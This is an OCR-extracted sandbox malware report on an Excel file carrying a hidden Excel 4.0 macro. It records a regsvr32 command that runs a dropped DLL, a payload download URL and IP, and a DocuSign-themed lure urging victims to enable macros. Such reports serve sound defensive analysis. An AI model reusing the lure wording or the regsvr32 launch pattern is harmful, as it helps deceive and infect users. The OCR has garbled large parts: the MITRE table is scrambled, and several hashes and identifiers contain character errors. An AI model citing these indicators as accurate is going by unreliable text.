JOESandbox Cloud ™=

ID: 324306

Sample Name: document-
1442300824 xls

Cookbook:
defaultwindowsofficecookbook.jbs
Time: 04:54:38

Date: 29/11/2020

Version: 31.0.0 Red Diamond



Table of Contents

Table of Contents
Analysis Report document-1442300824.xls

Overview
General Information
Detection
Signatures
Classification
Startup
Malware Configuration

Yara Overview
Initial Sample
Sigma Overview
System Summary:
Signature Overview
AV Detection:
Software Vulnerabilities:
System Summary:
HIPS / PFW / Operating System Protection Evasion:
Mitre Att&ck Matrix
Behavior Graph

Screenshots
Thumbnails
Antivirus, Machine Learning and Genetic Malware Detection
Initial Sample
Dropped Files
Unpacked PE Files
Domains
URLs
Domains and IPs
Contacted Domains
URLs from Memory and Binaries
Contacted IPs
Public

General Information

Simulations
Behavior and APls

Joe Sandbox View / Context

O OO OV NN~NN~N~NooOD oo dadnsndasbddMbDdMaasaasansndDBDDN

IPs
Domains 10
ASN 10
JA3 Fingerprints 11
Dropped Files 12
Created / dropped Files 12
Static File Info 15
General 15
File Icon 15
Static OLE Info 16
General 16
OLE File "document-1442300824.xIs" 16
Indicators 16
Summary 16
Document Summary 16
Streams 16
Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096 16
General 16
Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096 16
General 16
Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 326321 17

Copyright null 2020 Page 2 of 36



General
Macro 4.0 Code

Network Behavior
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTPS Packets

Code Manipulations

Statistics
Behavior

System Behavior
Analysis Process: EXCEL.EXE PID: 1780 Parent PID: 584

General
File Activities
File Created
File Deleted
File Moved
File Written
File Read
Registry Activities
Key Created
Key Value Created

Analysis Process: regsvr32.exe PID: 2376 Parent PID: 1780

General

Disassembly
Code Analysis

Copyright null 2020

17
17

17
17
18
18
18
18

18

18
18

19

19
19
19
19
20
20
20
28
28
28
29

36
36

36
36

Page 3 of 36



Analysis Report document-1442300824.xls

Overview
General Information Detection Classification
Sample document-1442300824.xls
Name: Multi AV Scanner detection for subm...
Analysis ID: 324306 MALICIOUS Office document tries to convince Vi...
MD5: .
c6c9c84c957dcb... Document exploit detected (UrlDown...
SHA1L:
5fed70088c09acs. Document exploit detected (process...
SHA256: 7ea07a02f138ade. " -
Found Excel 4.0 Macro with suspicio...
Tags:
Found obfuscated Excel 4.0 Macro

Most interesting Screenshot:

Sigma detected: Microsoft Office Pr...

Yara detected/hidden Macro/4.0/in E...

Hidden Macro 4.0 Document contains embedded VBA ...
80

Score:

|IP'addressiseeniiniconnection withio:.:

Range: 0-100 JABISSLL client fingerprint'seen in cox..

P L L Whitelisted:  false
e e Sealmtin g Confid 100% Potential document exploit detected:..
onfidence: b

w
«Q
>
2
(=
=
®
)

B! R |

Startup

= System is w7x64

. EXCEL.EXE (PID: 1780 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
e [ regsvr32.exe (PID: 2376 cmdline: regsvr32 -s C:\giogtimpomgr\fwpxeohi.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source Rule Description Author Strings
document-1442300824.xls SUSP_ExceldMacro_Auto Detects Excel4 John Lambert e 0x0:$header_docf: DO CF 11 EO
Open macro use with @JohnLaTwC e Ox4fea2:$s1: Excel
auto open / close e 0x50f1d:$s1: Excel
e 0x389b:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 O

000 00 00 00 00 00 00 00 01 3A

document-1442300824.xls JoeSecurity_HiddenMacro Yara detected Joe Security
hidden Macro 4.0
in Excel

Sigma Overview

System Summary: -i.
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Signature Overview

@ AV Detection

@ Software Vulnerabilities

@ Networking

@ System Summary

@ Data Obfuscation

@ Hooking and other Techniques for Hiding and Protection
@ HIPS / PFW / Operating System Protection Evasion

g

Click to jump to signature section

AV Detection: | |

Multi AV Scanner detection for submitted file

Software Vulnerabilities: | |

System Summary:

HIPS | PFW | Operating System Protection Evasion:

Mitre Att&ck Matrix

Command Remote
Initial Privilege  Defense Credential Lateral and Network Service
Access Execution Persistence Escalation Evasion Access Discovery  Movement Collection Exfiltration Control Effects Effects Impz
Valid Scripting Path Process Regsvr32 os File and Remote Data from  Exfiltration Encrypted Eavesdrop on Remotely Modi
Accounts Interception Injection Credential Directory Services Local Over Other Channel Insecure Track Device Syst
Dumping  Discovery System Network Network Without Parti
Medium Communication Authorization
Default  Exploitation for Boot or Boot or Masquerading LSASS System Remote Data from  Exfiltration Non- Exploit SS7 to  Remotely Devi
Accounts Client Logon Logon Memory  Information  Desktop Removable Over Application Redirect Phone Wipe Data  Lock
Execution Initialization  Initialization Discovery Protocol Media Bluetooth  Layer Calls/SMS Without
Scripts Scripts Protocol Authorization
Domain At (Linux) Logon Script Logon Disable or Modify Security — Query SMB/Windows Data from  Automated Application Exploit SS7to Obtain Dele
Accounts (Windows)  Script Tools Account  Registry Admin Shares Network Exfiltration  Layer Track Device  Device Devii
(Windows) Manager Shared Protocol g Location Cloud Data
Drive Backups
Local At (Windows)  Logon Script Logon Process NTDS System Distributed Input Scheduled Ingress SIM Card Carri
Accounts (Mac) Script Injection Network Component  Capture Transfer Tool Swap Billin
(Mac) Configuration Object Model Transfer Frau

Discovery
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Initial

Access Execution

Cloud Cron
Accounts

Behavior Graph

Screenshots

Thumbnails

Persistence Escalation Evasion

Logon Script Logon

Sample:
Startdate:
Architecture:

Score:

Command Remote

Credential Lateral and Network Service
Access Discovery  Movement Collection Exfiltration Control Effects Effects Impz
LSA Remote SSH Keylogging Data Fallback Manipulate Mani
Secrets System Transfer Channels  Device App
Discovery Size Limits Communication Ran}t
or Ré
Hide Legend
Behavior Graph Legend:
324306
[ wicons | [] Process
document-1442300824.xls
29/11/2020 . Signature
WINDOWS . Created File
80
Il onsieinfo
ﬂ Is Dropped
H Is Windows Process

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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seligue.net

192.185.215.146, 443, 49165
UNIFIEDLAYER-AS-1US
United States ES

— =

E EXCEL EXE

;

()
0@ 2 )

*
*n

Number of created Registry Values

Number of created Files

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

started

Page 6 of 36



document-1442300824 [Compatibility Mode] - Microsoft Excel - document-1442300824 [Compatibility Mode]

Home Insert Formulas Data Review View

¥ cut

53 Copy ~

# Format Painter
Clipboard

Page Layout

Calibri -1

koW =

Insert Delete Format

= Ps/.v
B L U-| i = :

S Wrap Text General -

Conditional Format  Cell
Formatting - as Table - Styles -
Styles

$ 7% »

0 00
e 36

Font Alignment Number Cells

@] Fin -
<2 Clear =

2T &
Sort & Find &
Filter~ Select~

Editing

c162 2

Docu.

THIS STEPS ARE REQUIRED TO FULLY DECRYPT THE DOCUMENT,
ENCRYPTED BY DOCUSIGN.

1 Click on "Enable editing" to unlock the editing document downloaded from the imernet.—‘_

0 Protected View This file originated from an Internet location and might be unsafe. Click for more details. ~ Enable Editing

Click on "Enable content" to perform Microsoft Word Decryption Core to start
the decryption of the document. o

|} security Waming Macros have been disabled. ~ Enable Content

=D Microsoft W) Mc‘Afee ' symantec

O

[N security Analytics

LR
Ready |

DocuSign ./ cr2_“NMacr3 .~ £a

|[Eom

=

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner
document-1442300824.xIs 37% Virustotal
document-1442300824.xIs 14% Metadefender
document-1442300824.xIs 6% ReversingLabs
Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner
seligue.net 1% Virustotal
URLs
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100% (=}
o H6AM
) [ i
(I 11/29/2020 | |

Label Link
Browse
Browse
Document-
Word.Trojan.Heuristic
Label Link
Browse
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https://www.virustotal.com/gui/file/7ea07a02f138a4eed3569273412432dbb40f8da4f7c9384de14e878772302047/detection/f-7ea07a02f138a4eed3569273412432dbb40f8da4f7c9384de14e878772302047-1606545084
https://www.metadefender.com/#!/results/file/bzIwMTEyN0NTZ0k1NU03amVoekxxWFZaZlo/regular/analysis
https://www.virustotal.com/gui/url/927ea7784e86797179581091d96b9d73e06b2d1ddee363ea495a42123dc86885/detection/u-927ea7784e86797179581091d96b9d73e06b2d1ddee363ea495a42123dc86885-1606497351

Source

hitp:iy
hitp:iy
hitp:iy
hitp:iy
hitp:;

https://seligue.net/ds/231120.gif
https://seligue.net/ds/231120.gif
https://seligue.net/ds/231120.gif
https://seligue.net/ds/231120.gif

/servername/isapibackend.dll

Domains and IPs

Contacted Domains

Name

seligue.net

URLs from Memory and Binaries

Name

hitp

hitp

:/https://seligue.net/ds/231120.gif

:/fservername/isapibackend.dll

Contacted IPs

Pu

IP
192

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

blic

Domain

.185.215.146 unknown
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Detection
0%
0%
0%
0%
0%

P Active Malicious

192.185.215.146 true false

Source Malicious

document-1442300824.xls false

regsvr32.exe, 00000003.0000000 false
2.2097076287.0000000001D50000.
00000002.00000001.sdmp

Country Flag

United States =

Scanner

URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Antivirus Detection

e 1%, Virustotal, Browse

Antivirus Detection

Label

safe
safe
safe
safe

safe

e URL Reputation: safe

e URL Reputation
e URL Reputation
e URL Reputation

: safe
: safe
: safe

e Avira URL Cloud: safe

ASN
46606

ASN Name

Link

Reputation

unknown

Reputation

unknown

low

Malicious

UNIFIEDLAYER-AS-1US false
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https://www.virustotal.com/gui/url/927ea7784e86797179581091d96b9d73e06b2d1ddee363ea495a42123dc86885/detection/u-927ea7784e86797179581091d96b9d73e06b2d1ddee363ea495a42123dc86885-1606497351

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs
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31.0.0 Red Diamond

324306

29.11.2020

04:54:38

CloudBasic

Oh 4m 29s

false

light

document-1442300824 .xIs
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

5
0
0
0
0

e HCA enabled
e EGA enabled
e HDC enabled
* AMSI enabled

default

Timeout

MAL
mal80.expl.evad.winXLS@3/11@1/1
Failed

Failed

e Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

Found application associated with file extension:
Xls

Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

3

e o o o

Show All

e Exclude process from analysis (whitelisted):
dllhost.exe

e Excluded IPs from analysis (whitelisted):
192.35.177.64, 2.20.142.209, 2.20.142.210

e Excluded domains from analysis (whitelisted):
au.download.windowsupdate.com.edgesuite.net,
audownload.windowsupdate.nsatc.net,
apps.digsigtrust.com, ctldl.windowsupdate.com,
a767.dscg3.akamai.net, apps.identrust.com, au-bg-
shim.trafficmanager.net

e Report size getting too big, too many
NtDeviceloControlFile calls found.
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Match
192.185.215.146

Domains

Match

seligue.net

ASN

Match
UNIFIEDLAYER-AS-1US
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SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

SHA 256
Get hash

> > >
[ [ [
(73 (7] (7]
[=] [=] [=]
8, 8, 8,
= = =
(13 o (1]
(=% (=% (=%
[72] [72] [72]
o o o
5 5 5
=1 =1 =1
() () ()
P4 P4 P4
o o o
5 5 5
o o o
[ [ [
A A A
r r r

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse

Context

Context

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146
192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

Context

192.185.21
5.146
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https://view.joesandbox.com/analysis/242926/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242926/html/none?idtype=webid
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid
https://view.joesandbox.com/analysis/242902/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242902/html/none?idtype=webid
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid
https://view.joesandbox.com/analysis/242853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242853/html/none?idtype=webid
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid
https://view.joesandbox.com/analysis/242843/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242843/html/none?idtype=webid
https://view.joesandbox.com/analysis/242839/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242839/html/none?idtype=webid
https://view.joesandbox.com/analysis/242826/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242826/html/none?idtype=webid
https://view.joesandbox.com/analysis/242823/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242823/html/none?idtype=webid
https://view.joesandbox.com/analysis/242818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242818/html/none?idtype=webid
https://view.joesandbox.com/analysis/242817/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242817/html/none?idtype=webid
https://view.joesandbox.com/analysis/242796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242796/html/none?idtype=webid
https://view.joesandbox.com/analysis/242794/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242794/html/none?idtype=webid
https://view.joesandbox.com/analysis/242793/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242793/html/none?idtype=webid
https://view.joesandbox.com/analysis/242790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242790/html/none?idtype=webid
https://view.joesandbox.com/analysis/242784/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242784/html/none?idtype=webid
https://view.joesandbox.com/analysis/242782/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242782/html/none?idtype=webid
https://view.joesandbox.com/analysis/242715/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242715/html/none?idtype=webid
https://view.joesandbox.com/analysis/242707/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242707/html/none?idtype=webid
https://view.joesandbox.com/analysis/242926/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242926/html/none?idtype=webid
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid
https://view.joesandbox.com/analysis/242902/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242902/html/none?idtype=webid
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid
https://view.joesandbox.com/analysis/242853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242853/html/none?idtype=webid
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid
https://view.joesandbox.com/analysis/242843/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242843/html/none?idtype=webid
https://view.joesandbox.com/analysis/242839/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242839/html/none?idtype=webid
https://view.joesandbox.com/analysis/242826/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242826/html/none?idtype=webid
https://view.joesandbox.com/analysis/242823/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242823/html/none?idtype=webid
https://view.joesandbox.com/analysis/242818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242818/html/none?idtype=webid
https://view.joesandbox.com/analysis/242817/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242817/html/none?idtype=webid
https://view.joesandbox.com/analysis/242796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242796/html/none?idtype=webid
https://view.joesandbox.com/analysis/242794/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242794/html/none?idtype=webid
https://view.joesandbox.com/analysis/242793/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242793/html/none?idtype=webid
https://view.joesandbox.com/analysis/242790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242790/html/none?idtype=webid
https://view.joesandbox.com/analysis/242784/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242784/html/none?idtype=webid
https://view.joesandbox.com/analysis/242782/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242782/html/none?idtype=webid
https://view.joesandbox.com/analysis/242715/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242715/html/none?idtype=webid
https://view.joesandbox.com/analysis/242707/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242707/html/none?idtype=webid
https://view.joesandbox.com/analysis/242926/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242926/html/none?idtype=webid

Match

JA3 Fingerprints

Match
7dcce5b76c8b17472d024758970a406b

Copyright null 2020

Associated Sample Name /| URL

Associated Sample Name /| URL

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

Context

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146
192.185.21
5.146

192.185.21
5.146
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https://view.joesandbox.com/analysis/242924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid
https://view.joesandbox.com/analysis/242902/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242902/html/none?idtype=webid
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid
https://view.joesandbox.com/analysis/242853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242853/html/none?idtype=webid
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid
https://view.joesandbox.com/analysis/242843/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242843/html/none?idtype=webid
https://view.joesandbox.com/analysis/242839/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242839/html/none?idtype=webid
https://view.joesandbox.com/analysis/242826/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242826/html/none?idtype=webid
https://view.joesandbox.com/analysis/242823/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242823/html/none?idtype=webid
https://view.joesandbox.com/analysis/242818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242818/html/none?idtype=webid
https://view.joesandbox.com/analysis/242817/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242817/html/none?idtype=webid
https://view.joesandbox.com/analysis/242796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242796/html/none?idtype=webid
https://view.joesandbox.com/analysis/242794/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242794/html/none?idtype=webid
https://view.joesandbox.com/analysis/242793/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242793/html/none?idtype=webid
https://view.joesandbox.com/analysis/242790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242790/html/none?idtype=webid
https://view.joesandbox.com/analysis/242784/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242784/html/none?idtype=webid
https://view.joesandbox.com/analysis/242782/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242782/html/none?idtype=webid
https://view.joesandbox.com/analysis/242715/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242715/html/none?idtype=webid
https://view.joesandbox.com/analysis/242707/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242707/html/none?idtype=webid
https://view.joesandbox.com/analysis/242981/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242981/html/none?idtype=webid
https://view.joesandbox.com/analysis/242971/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242971/html/none?idtype=webid
https://view.joesandbox.com/analysis/242964/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242964/html/none?idtype=webid
https://view.joesandbox.com/analysis/242950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242950/html/none?idtype=webid
https://view.joesandbox.com/analysis/242937/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242937/html/none?idtype=webid
https://view.joesandbox.com/analysis/242933/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242933/html/none?idtype=webid
https://view.joesandbox.com/analysis/242927/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242927/html/none?idtype=webid
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid
https://view.joesandbox.com/analysis/242919/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242919/html/none?idtype=webid
https://view.joesandbox.com/analysis/242908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242908/html/none?idtype=webid
https://view.joesandbox.com/analysis/242901/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242901/html/none?idtype=webid
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid
https://view.joesandbox.com/analysis/242893/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242893/html/none?idtype=webid
https://view.joesandbox.com/analysis/242891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242891/html/none?idtype=webid
https://view.joesandbox.com/analysis/242875/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242875/html/none?idtype=webid

Match

Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse e 192.185.21
5.146

Get hash malicious Browse e 192.185.21
5.146

Get hash malicious Browse e 192.185.21
5.146

Get hash malicious Browse e 192.185.21
5.146

Get hash malicious Browse e 192.185.21
5.146

Dropped Files

No context

Created /

dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

Microsoft Cabinet archive data, 58936 bytes, 1 file

dropped

58936

7.994797855729196

true
768:A2CCXehkvodpN73AJjDzh85ApA37vK5cIxQh+alE/sSkoWYrgEHqCinmXdBDz2mi:i/LAVEZrGelxOhoW6qCLANz2pj
E4F1E21910443409E81E5B55DC8DE774

EC0885660BD216DOCDD5E6762B2F595376995BD0
CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5

2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1IASA151EDA2A7AA64D5250AEDY08C3B46AFE7262E66D957B255F6D57B6A6BBIE4F9324F2C22E9BF0882
46

false

moderate, very likely benign file

MSCF....8....... pevereereeneenen b S LQ.v .authroot.stl..0(/.5..CK..8T....c_.d....(.....]. M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..
3a.l...]..c(...p..].M....4. JC.@.[.#xUU..*D..agaV..2.|.9..Y. j .@.Q....n7TR.. .. .s..f+..c.9+[|0. . 2ls..a....w.t..LLs.
..C..2...P0%$.Y..7m....Z0.g3.>WO0&.y](....]. >... ..R.qB..f....y. hy}....t6b.q./~.p

..0...0.V.Tu?.Z..r..J..>R.ZsQ...dn.0.<...0.K...|.....Q..."...X..C.....a;.*..NQ..x.b4..1,

|.=H4.U=..X..qn.+S.AJ.....y.n.v.XC...
SO>C#LpfiTU.Ls A wz AgLY

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\EOF5C59F9FA661F6F4C50B87FEF3A15A

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

893

7.366016576663508

false
24:hBntmDVKUQQDVKUr7C5fpgp8gPvXHmMXvponXux:3ntmD5QQD5XC5RgHHXmXvp++x
D4AE187B4574036C2D76B6DF8A8C1A30
BO6F409FA14BAB33CBAF4A37811B8740B624D9ES
A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CCIF8FAB370386E13879C7

1F44A360E8BBBADA22BC5BFEO01F1BABB4E72005A46BC2A94C33C4BD149FF256CCEGF35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B
C

false

high, very likely benign file

0.y.*H......j0..f..1.0..* H.......N0..J0..2....... D...".09..@k0...*.H .0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930
14011570?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0...* H............. 0. P.W.be.... kO[.}@.... 3vI*?IL.N.>He. le*2. .w. {....52.2.~
.0..#8.y.1.P..e.Qc..aKa.Rk.K.(H....>... [*..p..%.tr{j.4.0..h {T...Z..=d....Ap..r.&8U9C...\@.. . i..*)W.=..]....B0@0...U......0....0...U......
Ln00Ue {,g..Ku..."...0..* H..... L(f72KL YD s Kt~ KU Dl el NLpl, AHLX L ZLYen f8UYLLsGL+ L THLVK...r2...D.SrmC.&H.Rg.
X..gvgx...V..9$1...Z0G..P....... dc........ }...=2.e. | [Wv..(9..e..w,j.w......)...55.1.

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

Process:

File Type:

Category:

Size (bytes):

Entropy (8bit):
Copyright null 2020

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
data

dropped

326

3.1231869637929046
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https://view.joesandbox.com/analysis/242867/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242867/html/none?idtype=webid
https://view.joesandbox.com/analysis/242862/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242862/html/none?idtype=webid
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid
https://view.joesandbox.com/analysis/242846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242846/html/none?idtype=webid
https://view.joesandbox.com/analysis/242845/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242845/html/none?idtype=webid

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

false

6:kKz2shwwDN+SkQIPIEGYRMY9z+4KIDA3RUegeT6If: 70kPIE99SNxAhUegeT2

AC7DE265EB3A599FFFC32117FDFC63B9

CF185BA1B0C1862CB98AC7B5EAFADFF2BBC1BOAF

